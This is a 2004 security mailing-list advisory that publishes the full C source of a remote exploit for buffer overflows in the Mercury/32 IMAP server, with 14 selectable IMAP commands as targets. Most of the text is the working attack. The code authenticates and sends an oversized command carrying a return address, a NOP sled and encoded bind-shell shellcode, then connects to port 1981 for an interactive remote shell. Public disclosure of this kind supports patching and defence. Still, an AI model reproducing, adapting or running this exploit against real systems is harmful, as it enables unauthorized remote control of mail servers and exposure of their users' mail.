[EXPL] Mercury/32 Exploit Code (14 Targets)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/27/04

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      Mercury/32 Exploit Code (14 Targets)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.pmail.com/overviews/ovw_mercwin.htm> Mercury (or Mercury/32
    as it is known) "runs on Windows 95, 98, NT4, 2000 or XP workstations and
    provides mail services to a single computer or a local area network. In
    addition the product has a full fledged IMAP4 server providing remote IMAP
    access to your local mailboxes". More information can be found at:
    <http://www.securiteam.com/exploits/6M0020AC0W.html> Mercury/32 RENAME and
    SELECT Exploit Codes

    The following exploit code is for Mercury/32's buffer overflows with 14
    different targets (EXAMINE, SUBSCRIBE, STATUS, APPEND, CHECK, CLOSE,
    EXPUNGE, FETCH, RENAME, DELETE, LIST, SEARCH, CREATE, UNSUBSCRIBE and
    SELECT).

    DETAILS

    /** Remote Mercury32 Imap exploit [14 types of attacks] WOW!
     ** By: JohnH@secnetops.com
     **
     ** Notes: Second public release and both of them are murcury32 ;)
     ** Again someone posted some dos code :( why bother?
     ** If you spent the time to look, it uses the same buffer for all 14
    types of attacks and the size does not
     ** change. I did not check the asm but its prob using the same routine
    for all 14 commands.
     **
     ** Date: 12/01/04
     **/

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <assert.h>
    #include <fcntl.h>
    #include <sys/time.h>

    #define version "1.0"
    int usage(char *p);

    char sc_bind[] =
        //decoder
        "\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
        "\x05\xE8\xEC\xFF\xFF\xFF"
        //sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
        //XOR with 0x96 (267 0x10B bytes)
        "\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C"
        "\xA5\x7F\x2D\x55\x38\x50\xBD\x2B\xB8\x48\xC1\xE4\x32\xB2\x24\xA4"
        "\x96\x98\xCB\x5D\x48\xE2\xB4\xF5\x5E\xC9\xFC\xA6\xCD\xF2\x1D\x95"
        "\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\xFC\x92\xCF\x7E\x12\x96"
        "\x96\x96\x74\x6F\x23\x95\xBD\x77\xFE\xA5\xA4\x96\x96\xFE\xE1\xE5"
        "\xA4\xC9\xC2\x69\xC1\x6E\x03\xFC\x93\xCF\x7E\xF1\x96\x96\x96\x74"
        "\x6F\x1D\x61\xC7\xFE\x94\x96\x91\x2B\x1D\x7A\xC7\xC7\xC7\xC7\xFC"
        "\x97\xFC\x94\x69\xC0\x66\x05\xFC\x86\xC3\xC5\x69\xC0\x62\xC6\xC5"
        "\x69\xC0\x6E\x1D\x6A\xFC\x98\xCF\x3D\x74\x6B\xC6\xC6\xC5\x69\xC0"
        "\x6A\x3D\x3D\x3D\xF0\x51\xD2\xB2\xBA\x97\x97\x1D\x42\xFE\xF5\xFB"
        "\xF2\x96\x1D\x5A\xC5\xC6\xC1\xC4\xA5\x4D\xC5\xC5\xC5\xFC\x97\xC5"
        "\xC5\xC7\xC5\x69\xC0\x76\xFC\x69\x69\xA1\x69\xC0\x4A\x69\xC0\x7A"
        "\x69\xC0\x7A\x69\xC0\x7E\xC7\x1D\xE3\xAA\x1D\xE2\xB8\xEE\x95\x63"
        "\xC0\x1D\xE0\xB6\x95\x63\xA5\x5F\xDF\xD7\x3B\x95\x53\xA5\x4D\xA5"
        "\x44\x99\x28\x86\xAC\x40\xE2\x9E\x57\x5D\x8D\x95\x4C\xD6\x7D\x79"
        "\xAD\x89\xE3\x73\xC8\x1D\xC8\xB2\x95\x4B\xF0\x1D\x9A\xDD\x1D\xC8"
        "\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x3D\xCF\x55"
        //decoder end sign
        "\x45\x59\x34\x53";

    int type;
    int iPort=143;
    char *ip=NULL;
    char username[256];
    char password[256];

    int main(int argc, char **argv)
    {
        int c;

        if(argc < 2)
        {
            usage(argv[0]);
            return 0;
        }

        while((c = getopt(argc, argv, "u:P:h:p:t:")) != EOF) {
            switch(c) {

            case 'u':
                strncpy(username, optarg, sizeof (username) - 1);
                break;

            case 'P':
                strncpy(password, optarg, sizeof (password) - 1);
                break;

            case 'h':
                ip=optarg;
                break;
            case 'p':
                iPort=atoi(optarg);
                break;
            case 't':
         type=atoi(optarg);
         break;
     default:
                usage (argv[0]);
                return 0;
            }
        }

        if((!ip))
        {
            usage(argv[0]);
            printf("[-] Invalid parameter.\n");
            return 0;
        }

        SendExploit();
        return 0;
    }

    /* ripped from TESO code */
    void shell (int sock)
    {
        int l;
        char buf[512];
        fd_set rfds;

        while (1) {
            FD_SET (0, &rfds);
            FD_SET (sock, &rfds);
            select (sock + 1, &rfds, NULL, NULL, NULL);
            if (FD_ISSET (0, &rfds)) {
                l = read (0, buf, sizeof (buf));
                if (l <= 0) {
                    printf("\n - Connection closed by local user\n");
                    exit (EXIT_FAILURE);
                }
                write (sock, buf, l);
            }

            if (FD_ISSET (sock, &rfds)) {
                l = read (sock, buf, sizeof (buf));
                if (l == 0) {
                    printf ("\n - Connection closed by remote host.\n");
                    exit (EXIT_FAILURE);
                } else if (l < 0) {
                    printf ("\n - Read failure\n");
                    exit (EXIT_FAILURE);
                }
                write (1, buf, l);
            }
        }
    }

    int SendExploit()
    {
        struct hostent *he;
        struct in_addr in;
        struct sockaddr_in peer;
        int iErr, s,s2;
        int x;
        char buffer[9000];
        char buffer2[9000];
        char szRecvBuff[0x1000];
        char *ip2=NULL;

        printf( "MERCURY32 Imap exploit\n");
        printf( "By: JohnH at secnetops\n");
        printf("[+] Entering God Mode\n");

        // Login
        memset(buffer2,0x0,sizeof(buffer2));
        strcat(buffer2,"a001 LOGIN ");
        strcat(buffer2,username);
        strcat(buffer2," ");
        strcat(buffer2,password);
        strcat(buffer2,"\n");

        bzero (buffer,sizeof(buffer));
        printf("[+] Using type: %d\n",type);
        if (type == 0)
              strcat(buffer,"a001 EXAMINE ");
        else if(type == 1)
        strcat(buffer,"a001 SUBSCRIBE ");
        else if(type == 2)
        strcat(buffer,"a001 STATUS ");
        else if(type == 3)
                strcat(buffer,"a001 APPEND ");
        else if(type == 4)
                strcat(buffer,"a001 CHECK ");
        else if(type == 5)
                strcat(buffer,"a001 CLOSE ");
        else if(type == 6)
                strcat(buffer,"a001 EXPUNGE ");
        else if(type == 7)
                strcat(buffer,"a001 FETCH ");
        else if(type == 8)
                strcat(buffer,"a001 RENAME ");
        else if(type == 9)
                strcat(buffer,"a001 DELETE ");
        else if(type == 10)
                strcat(buffer,"a001 LIST ");
        else if(type == 11)
                strcat(buffer,"a001 SEARCH ");
        else if(type == 12)
         strcat(buffer,"a001 CREATE ");
        else if(type == 13)
                strcat(buffer,"a001 UNSUBSCRIBE ");
        else if(type == 14)
         strcat(buffer,"a001 SELECT ");

        x = strlen(buffer);
        memset(buffer+x,0x41,260);
        x+=260;
        *(unsigned int *)&buffer[x] = 0x01f9c8fa;
        x+=4;
        memset(buffer+x,0x90,100);
        x+=100;
        memcpy (buffer+x, sc_bind, strlen(sc_bind));
        x+=strlen(sc_bind);
        memcpy(buffer+x,"\r\n",2);
        x+=2;

        if (!(he = gethostbyname(ip)))
        {
            herror("Resolving host");
            exit(EXIT_FAILURE);
        }
        in.s_addr = *((unsigned int *)he->h_addr);
        peer.sin_family = AF_INET;
        peer.sin_port = htons(iPort);
        peer.sin_addr.s_addr = inet_addr(ip);
        s = socket(AF_INET, SOCK_STREAM, 0);
        if (s < 0)
        {
            perror("socket");
            return(0);
        }
        if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) <
    0)

        {
            perror("connect");
            return(0);
        }
        printf("[+] connect to %s:%d success.\n", ip, iPort);
        sleep(3);

        memset(szRecvBuff, 0, sizeof(szRecvBuff));
        iErr = send(s, buffer2, strlen(buffer2),0);
        printf("[+] Sent: %d\n", iErr);

        iErr = send(s, buffer, x,0);

        printf("[+] Sent: %d\n", iErr);

        printf("[+] Wait for shell.\n");
        if (!(he = gethostbyname(ip)))
        {
            herror("Resolving host");
            exit(EXIT_FAILURE);
        }
        in.s_addr = *((unsigned int *)he->h_addr);
        ip2 = in.s_addr;

        sleep(5);
        peer.sin_family = AF_INET;
        peer.sin_port = htons(1981);
        peer.sin_addr.s_addr = ip2;
        s2 = socket(AF_INET, SOCK_STREAM, 0);
        if (s2 < 0)
        {
            perror("socket");
            exit(EXIT_FAILURE);
        }

        if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in))
    < 0)
        {
            perror("connect");
            return(0);
        }
        printf ("[+] We got a shell \n");

        shell(s2);

        return 0;

    }

    int usage(char *p)
    {
        printf("MERCURY32 Imap Remote Exploit\n");
        printf("By: JohnH@secnetops.com\n");
        printf( "Usage: %s <-u username> <-p password> <-h host> <-p port> <-t
    type>\n",p);
        printf("Possible types: Look in source code too lazy to type out 14
    types\n");
        exit(0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:JohnH@secnetops.com> JohnH.

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